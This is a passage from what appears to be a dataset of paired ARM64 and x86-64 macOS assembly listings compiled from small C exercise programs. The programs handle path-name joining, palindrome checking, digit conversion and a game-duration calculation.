cmpb $0, (%rax)
je LBB3_6
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movq -8(%rbp), %rax
movsbl (%rax), %eax
cmpl $47, %eax
je LBB3_5
## %bb.3: ## in Loop: Header=BB3_1 Depth=1
movq -8(%rbp), %rax
movsbl (%rax), %eax
cmpl $92, %eax
je LBB3_5
## %bb.4: ## in Loop: Header=BB3_1 Depth=1
movq -8(%rbp), %rax
addq $1, %rax
movq %rax, -8(%rbp)
jmp LBB3_1
LBB3_5: ## in Loop: Header=BB3_1 Depth=1
movq -8(%rbp), %rax
movq %rax, %rcx
addq $1, %rcx
movq %rcx, -8(%rbp)
movb $47, (%rax)
jmp LBB3_1
LBB3_6:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _rtl_catPathNames ## -- Begin function rtl_catPathNames
.p2align 4, 0x90
_rtl_catPathNames: ## @rtl_catPathNames
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
cmpb $0, (%rax)
je LBB4_5
## %bb.1:
movq -8(%rbp), %rax
movq %rax, -32(%rbp) ## 8-byte Spill
movq -8(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -32(%rbp), %rax ## 8-byte Reload
addq %rcx, %rax
addq $-1, %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rax
movsbl (%rax), %eax
cmpl $47, %eax
je LBB4_4
## %bb.2:
movq -24(%rbp), %rax
movsbl (%rax), %eax
cmpl $92, %eax
je LBB4_4
## %bb.3:
movq -24(%rbp), %rax
movb $47, 1(%rax)
movq -24(%rbp), %rax
movb $0, 2(%rax)
LBB4_4:
jmp LBB4_5
LBB4_5:
movq -8(%rbp), %rdi
movq -16(%rbp), %rsi
movq $-1, %rdx
callq ___strcat_chk
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _rtl_absToRelPath ## -- Begin function rtl_absToRelPath
.p2align 4, 0x90
_rtl_absToRelPath: ## @rtl_absToRelPath
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
leaq L_.str(%rip), %rax
movq %rax, -56(%rbp)
movq -24(%rbp), %rax
movb $0, (%rax)
movl $0, -60(%rbp)
movq $0, -48(%rbp)
movq -8(%rbp), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rax
movq %rax, -40(%rbp)
LBB5_1: ## =>This Inner Loop Header: Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -61(%rbp) ## 1-byte Spill
je LBB5_9
## %bb.2: ## in Loop: Header=BB5_1 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $47, %eax
je LBB5_4
## %bb.3: ## in Loop: Header=BB5_1 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $92, %eax
jne LBB5_7
LBB5_4: ## in Loop: Header=BB5_1 Depth=1
movq -40(%rbp), %rax
movsbl (%rax), %eax
cmpl $47, %eax
je LBB5_6
## %bb.5: ## in Loop: Header=BB5_1 Depth=1
movq -40(%rbp), %rax
movsbl (%rax), %eax
cmpl $92, %eax
jne LBB5_7
LBB5_6: ## in Loop: Header=BB5_1 Depth=1
movl $1, %eax
movl %eax, -68(%rbp) ## 4-byte Spill
jmp LBB5_8
LBB5_7: ## in Loop: Header=BB5_1 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
movq -40(%rbp), %rcx
movsbl (%rcx), %ecx
cmpl %ecx, %eax
sete %al
andb $1, %al
movzbl %al, %eax
movl %eax, -68(%rbp) ## 4-byte Spill
LBB5_8: ## in Loop: Header=BB5_1 Depth=1
movl -68(%rbp), %eax ## 4-byte Reload
cmpl $0, %eax
setne %al
movb %al, -61(%rbp) ## 1-byte Spill
LBB5_9: ## in Loop: Header=BB5_1 Depth=1
movb -61(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB5_10
jmp LBB5_15
LBB5_10: ## in Loop: Header=BB5_1 Depth=1
movl -60(%rbp), %eax
addl $1, %eax
movl %eax, -60(%rbp)
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $47, %eax
je LBB5_12
## %bb.11: ## in Loop: Header=BB5_1 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $92, %eax
jne LBB5_13
LBB5_12: ## in Loop: Header=BB5_1 Depth=1
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -48(%rbp)
movq -40(%rbp), %rax
addq $1, %rax
movq %rax, -56(%rbp)
LBB5_13: ## in Loop: Header=BB5_1 Depth=1
jmp LBB5_14
LBB5_14: ## in Loop: Header=BB5_1 Depth=1
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
movq -40(%rbp), %rax
addq $1, %rax
movq %rax, -40(%rbp)
jmp LBB5_1
LBB5_15:
cmpl $0, -60(%rbp)
jne LBB5_17
## %bb.16:
movq -24(%rbp), %rdi
movq -8(%rbp), %rsi
movq $-1, %rdx
callq ___strcpy_chk
jmp LBB5_36
LBB5_17:
movl -60(%rbp), %eax
movl %eax, -72(%rbp) ## 4-byte Spill
movq -8(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movl -72(%rbp), %eax ## 4-byte Reload
## kill: def $ecx killed $ecx killed $rcx
cmpl %ecx, %eax
jne LBB5_20
## %bb.18:
movl -60(%rbp), %eax
movl %eax, -76(%rbp) ## 4-byte Spill
movq -16(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movl -76(%rbp), %eax ## 4-byte Reload
## kill: def $ecx killed $ecx killed $rcx
cmpl %ecx, %eax
jne LBB5_20
## %bb.19:
movq -24(%rbp), %rdi
leaq L_.str.1(%rip), %rsi
movq $-1, %rdx
callq ___strcpy_chk
jmp LBB5_36
LBB5_20:
cmpq $0, -48(%rbp)
jne LBB5_22
## %bb.21:
jmp LBB5_36
LBB5_22:
movq -24(%rbp), %rax
movb $0, (%rax)
movq -56(%rbp), %rax
movq %rax, -32(%rbp)
LBB5_23: ## =>This Inner Loop Header: Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq $0, -32(%rbp)
movb %al, -77(%rbp) ## 1-byte Spill
je LBB5_25
## %bb.24: ## in Loop: Header=BB5_23 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
setne %al
movb %al, -77(%rbp) ## 1-byte Spill
LBB5_25: ## in Loop: Header=BB5_23 Depth=1
movb -77(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB5_26
jmp LBB5_33
LBB5_26: ## in Loop: Header=BB5_23 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $47, %eax
je LBB5_28
## %bb.27: ## in Loop: Header=BB5_23 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $92, %eax
jne LBB5_31
LBB5_28: ## in Loop: Header=BB5_23 Depth=1
movq -24(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
jne LBB5_30
## %bb.29: ## in Loop: Header=BB5_23 Depth=1
movq -24(%rbp), %rdi
leaq L_.str.2(%rip), %rsi
movq $-1, %rdx
callq ___strcat_chk
movq -24(%rbp), %rdi
leaq _rtl_absToRelPath.separator(%rip), %rsi
movq $-1, %rdx
callq ___strcat_chk
LBB5_30: ## in Loop: Header=BB5_23 Depth=1
movq -24(%rbp), %rdi
leaq L_.str.2(%rip), %rsi
movq $-1, %rdx
callq ___strcat_chk
movq -24(%rbp), %rdi
leaq _rtl_absToRelPath.separator(%rip), %rsi
movq $-1, %rdx
callq ___strcat_chk
LBB5_31: ## in Loop: Header=BB5_23 Depth=1
jmp LBB5_32
LBB5_32: ## in Loop: Header=BB5_23 Depth=1
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
jmp LBB5_23
LBB5_33:
movq -24(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
jne LBB5_35
## %bb.34:
movq -24(%rbp), %rdi
leaq L_.str.2(%rip), %rsi
movq $-1, %rdx
callq ___strcat_chk
movq -24(%rbp), %rdi
leaq _rtl_absToRelPath.separator(%rip), %rsi
movq $-1, %rdx
callq ___strcat_chk
LBB5_35:
movq -24(%rbp), %rdi
movq -48(%rbp), %rsi
movq $-1, %rdx
callq ___strcat_chk
LBB5_36:
addq $80, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.space 1
.section __DATA,__data
_rtl_absToRelPath.separator: ## @rtl_absToRelPath.separator
.asciz "/"
.section __TEXT,__cstring,cstring_literals
L_.str.1: ## @.str.1
.asciz "."
L_.str.2: ## @.str.2
.asciz ".."
.subsections_via_symbols
| the_stack_data/154827929.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _palindromo ; -- Begin function palindromo
.p2align 2
_palindromo: ; @palindromo
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #16]
str w1, [sp, #12]
str w2, [sp, #8]
ldr w8, [sp, #12]
ldr w9, [sp, #8]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
mov w8, #1
stur w8, [x29, #-4]
b LBB0_5
LBB0_2:
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
ldr x9, [sp, #16]
ldrsw x10, [sp, #8]
ldrsb w9, [x9, x10]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldr x0, [sp, #16]
ldr w8, [sp, #12]
subs w1, w8, #1
ldr w8, [sp, #8]
add w2, w8, #1
bl _palindromo
stur w0, [x29, #-4]
b LBB0_5
LBB0_4:
stur wzr, [x29, #-4]
b LBB0_5
LBB0_5:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #176
.cfi_def_cfa_offset 176
stp x29, x30, [sp, #160] ; 16-byte Folded Spill
add x29, sp, #160
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #48]
str wzr, [sp, #40]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #52
str x8, [sp, #16] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldr x0, [sp, #16] ; 8-byte Folded Reload
bl _strlen
mov x8, x0
str w8, [sp, #36]
str wzr, [sp, #44]
str wzr, [sp, #32]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #44]
ldr w9, [sp, #36]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_9
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldrsw x9, [sp, #32]
add x8, sp, #52
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, eq
tbnz w8, #0, LBB1_6
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldrsw x9, [sp, #32]
add x8, sp, #52
ldrsb w8, [x8, x9]
subs w8, w8, #45
cset w8, eq
tbnz w8, #0, LBB1_6
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
ldrsw x9, [sp, #32]
add x8, sp, #52
ldrsb w8, [x8, x9]
subs w8, w8, #44
cset w8, eq
tbnz w8, #0, LBB1_6
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_1 Depth=1
ldrsw x9, [sp, #32]
add x8, sp, #52
ldrsb w8, [x8, x9]
subs w8, w8, #46
cset w8, ne
tbnz w8, #0, LBB1_7
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_1 Depth=1
ldrsw x10, [sp, #32]
add x9, sp, #52
mov x8, x9
add x8, x8, x10
ldrb w8, [x8]
ldrsw x10, [sp, #44]
add x9, x9, x10
strb w8, [x9]
b LBB1_8
LBB1_8: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #44]
add w8, w8, #1
str w8, [sp, #44]
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB1_1
LBB1_9:
str wzr, [sp, #44]
b LBB1_10
LBB1_10: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #44]
ldr w9, [sp, #36]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_16
b LBB1_11
LBB1_11: ; in Loop: Header=BB1_10 Depth=1
ldrsw x9, [sp, #44]
add x8, sp, #52
ldrsb w8, [x8, x9]
subs w8, w8, #65
cset w8, lt
tbnz w8, #0, LBB1_14
b LBB1_12
LBB1_12: ; in Loop: Header=BB1_10 Depth=1
ldrsw x9, [sp, #44]
add x8, sp, #52
ldrsb w8, [x8, x9]
subs w8, w8, #90
cset w8, gt
tbnz w8, #0, LBB1_14
b LBB1_13
LBB1_13: ; in Loop: Header=BB1_10 Depth=1
ldrsw x8, [sp, #44]
add x9, sp, #52
ldrsb w8, [x9, x8]
add w8, w8, #32
ldrsw x10, [sp, #44]
strb w8, [x9, x10]
b LBB1_14
LBB1_14: ; in Loop: Header=BB1_10 Depth=1
b LBB1_15
LBB1_15: ; in Loop: Header=BB1_10 Depth=1
ldr w8, [sp, #44]
add w8, w8, #1
str w8, [sp, #44]
b LBB1_10
LBB1_16:
add x0, sp, #52
str x0, [sp, #8] ; 8-byte Folded Spill
bl _strlen
mov x8, x0
ldr x0, [sp, #8] ; 8-byte Folded Reload
; kill: def $w8 killed $w8 killed $x8
str w8, [sp, #36]
ldr w8, [sp, #36]
subs w1, w8, #1
ldr w2, [sp, #40]
bl _palindromo
str w0, [sp, #28]
ldr w8, [sp, #28]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB1_18
b LBB1_17
LBB1_17:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB1_19
LBB1_18:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB1_19
LBB1_19:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_21
b LBB1_20
LBB1_20:
bl ___stack_chk_fail
LBB1_21:
mov w0, #0
ldp x29, x30, [sp, #160] ; 16-byte Folded Reload
add sp, sp, #176
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Digite a string: "
l_.str.1: ; @.str.1
.asciz "%[^\n]s"
l_.str.2: ; @.str.2
.asciz "Eh Palindromo\n"
l_.str.3: ; @.str.3
.asciz "Nao eh Palindromo\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _palindromo ## -- Begin function palindromo
.p2align 4, 0x90
_palindromo: ## @palindromo
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
movl %edx, -24(%rbp)
movl -20(%rbp), %eax
cmpl -24(%rbp), %eax
jg LBB0_2
## %bb.1:
movl $1, -4(%rbp)
jmp LBB0_5
LBB0_2:
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
movq -16(%rbp), %rcx
movslq -24(%rbp), %rdx
movsbl (%rcx,%rdx), %ecx
cmpl %ecx, %eax
jne LBB0_4
## %bb.3:
movq -16(%rbp), %rdi
movl -20(%rbp), %esi
subl $1, %esi
movl -24(%rbp), %edx
addl $1, %edx
callq _palindromo
movl %eax, -4(%rbp)
jmp LBB0_5
LBB0_4:
movl $0, -4(%rbp)
LBB0_5:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $144, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -116(%rbp)
movl $0, -124(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq -112(%rbp), %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _scanf
leaq -112(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -128(%rbp)
movl $0, -120(%rbp)
movl $0, -132(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -120(%rbp), %eax
cmpl -128(%rbp), %eax
jge LBB1_9
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movslq -132(%rbp), %rax
movsbl -112(%rbp,%rax), %eax
cmpl $32, %eax
je LBB1_6
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movslq -132(%rbp), %rax
movsbl -112(%rbp,%rax), %eax
cmpl $45, %eax
je LBB1_6
## %bb.4: ## in Loop: Header=BB1_1 Depth=1
movslq -132(%rbp), %rax
movsbl -112(%rbp,%rax), %eax
cmpl $44, %eax
je LBB1_6
## %bb.5: ## in Loop: Header=BB1_1 Depth=1
movslq -132(%rbp), %rax
movsbl -112(%rbp,%rax), %eax
cmpl $46, %eax
jne LBB1_7
LBB1_6: ## in Loop: Header=BB1_1 Depth=1
movl -132(%rbp), %eax
addl $1, %eax
movl %eax, -132(%rbp)
LBB1_7: ## in Loop: Header=BB1_1 Depth=1
movslq -132(%rbp), %rax
movb -112(%rbp,%rax), %cl
movslq -120(%rbp), %rax
movb %cl, -112(%rbp,%rax)
## %bb.8: ## in Loop: Header=BB1_1 Depth=1
movl -120(%rbp), %eax
addl $1, %eax
movl %eax, -120(%rbp)
movl -132(%rbp), %eax
addl $1, %eax
movl %eax, -132(%rbp)
jmp LBB1_1
LBB1_9:
movl $0, -120(%rbp)
LBB1_10: ## =>This Inner Loop Header: Depth=1
movl -120(%rbp), %eax
cmpl -128(%rbp), %eax
jge LBB1_16
## %bb.11: ## in Loop: Header=BB1_10 Depth=1
movslq -120(%rbp), %rax
movsbl -112(%rbp,%rax), %eax
cmpl $65, %eax
jl LBB1_14
## %bb.12: ## in Loop: Header=BB1_10 Depth=1
movslq -120(%rbp), %rax
movsbl -112(%rbp,%rax), %eax
cmpl $90, %eax
jg LBB1_14
## %bb.13: ## in Loop: Header=BB1_10 Depth=1
movslq -120(%rbp), %rax
movsbl -112(%rbp,%rax), %eax
addl $32, %eax
movb %al, %cl
movslq -120(%rbp), %rax
movb %cl, -112(%rbp,%rax)
LBB1_14: ## in Loop: Header=BB1_10 Depth=1
jmp LBB1_15
LBB1_15: ## in Loop: Header=BB1_10 Depth=1
movl -120(%rbp), %eax
addl $1, %eax
movl %eax, -120(%rbp)
jmp LBB1_10
LBB1_16:
leaq -112(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -128(%rbp)
leaq -112(%rbp), %rdi
movl -128(%rbp), %esi
subl $1, %esi
movl -124(%rbp), %edx
callq _palindromo
movl %eax, -136(%rbp)
cmpl $1, -136(%rbp)
jne LBB1_18
## %bb.17:
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB1_19
LBB1_18:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
LBB1_19:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_21
## %bb.20:
xorl %eax, %eax
addq $144, %rsp
popq %rbp
retq
LBB1_21:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Digite a string: "
L_.str.1: ## @.str.1
.asciz "%[^\n]s"
L_.str.2: ## @.str.2
.asciz "Eh Palindromo\n"
L_.str.3: ## @.str.3
.asciz "Nao eh Palindromo\n"
.subsections_via_symbols
| the_stack_data/131148.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #16] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldur w8, [x29, #-8]
mov w10, #10
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
stur w8, [x29, #-12]
ldur w8, [x29, #-8]
sdiv w8, w8, w10
stur w8, [x29, #-16]
ldur w8, [x29, #-16]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
stur w8, [x29, #-20]
ldur w8, [x29, #-16]
sdiv w8, w8, w10
stur w8, [x29, #-24]
ldur w8, [x29, #-24]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
stur w8, [x29, #-28]
ldur w8, [x29, #-24]
sdiv w8, w8, w10
str w8, [sp, #32]
ldr w8, [sp, #32]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
str w8, [sp, #28]
ldr w9, [sp, #28]
ldur w8, [x29, #-28]
lsl w8, w8, #2
add w8, w8, w9, lsl #3
ldur w9, [x29, #-20]
add w8, w8, w9, lsl #1
ldur w9, [x29, #-12]
add w8, w8, w9
str w8, [sp, #20]
ldur w8, [x29, #-8]
; implicit-def: $x10
mov x10, x8
ldr w9, [sp, #20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr w0, [sp, #16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d=%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %edx, -12(%rbp)
movl -8(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %eax, -16(%rbp)
movl -16(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %edx, -20(%rbp)
movl -16(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %eax, -24(%rbp)
movl -24(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %edx, -28(%rbp)
movl -24(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %eax, -32(%rbp)
movl -32(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %edx, -36(%rbp)
movl -36(%rbp), %eax
shll $3, %eax
movl -28(%rbp), %ecx
shll $2, %ecx
addl %ecx, %eax
movl -20(%rbp), %ecx
shll $1, %ecx
addl %ecx, %eax
addl -12(%rbp), %eax
movl %eax, -44(%rbp)
movl -8(%rbp), %esi
movl -44(%rbp), %edx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d=%d"
.subsections_via_symbols
| the_stack_data/117586.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
sub x8, x29, #12
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldur w8, [x29, #-8]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur w8, [x29, #-12]
add w8, w8, #24
ldur w9, [x29, #-8]
subs w10, w8, w9
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_6
LBB0_2:
ldur w8, [x29, #-12]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldur w8, [x29, #-12]
ldur w9, [x29, #-8]
subs w10, w8, w9
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_5
LBB0_4:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_5
LBB0_5:
b LBB0_6
LBB0_6:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d %d"
l_.str.1: ; @.str.1
.asciz "O JOGO DUROU %d HORA(S)\n"
l_.str.2: ; @.str.2
.asciz "O JOGO DUROU 24 HORA(S)\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
leaq -12(%rbp), %rdx
movb $0, %al
callq _scanf
movl -8(%rbp), %eax
cmpl -12(%rbp), %eax
jle LBB0_2
## %bb.1:
movl -12(%rbp), %esi
addl $24, %esi
subl -8(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_6
LBB0_2:
movl -12(%rbp), %eax
cmpl -8(%rbp), %eax
jle LBB0_4
## %bb.3:
movl -12(%rbp), %esi
subl -8(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_5
LBB0_4:
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
LBB0_5:
jmp LBB0_6
LBB0_6:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d %d"
L_.str.1: ## @.str.1
.asciz "O JOGO DUROU %d HORA(S)\n"
L_.str.2: ## @.str.2
.asciz "O JOGO DUROU 24 HORA(S)\n"
.subsections_via_symbols
| the_stack_data/156392121.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _get_array_size ; -- Begin function get_array_size
.p2align 2
_get_array_size: ; @get_array_size
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur wzr, [x29, #-12]
ldur x8, [x29, #-8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #0
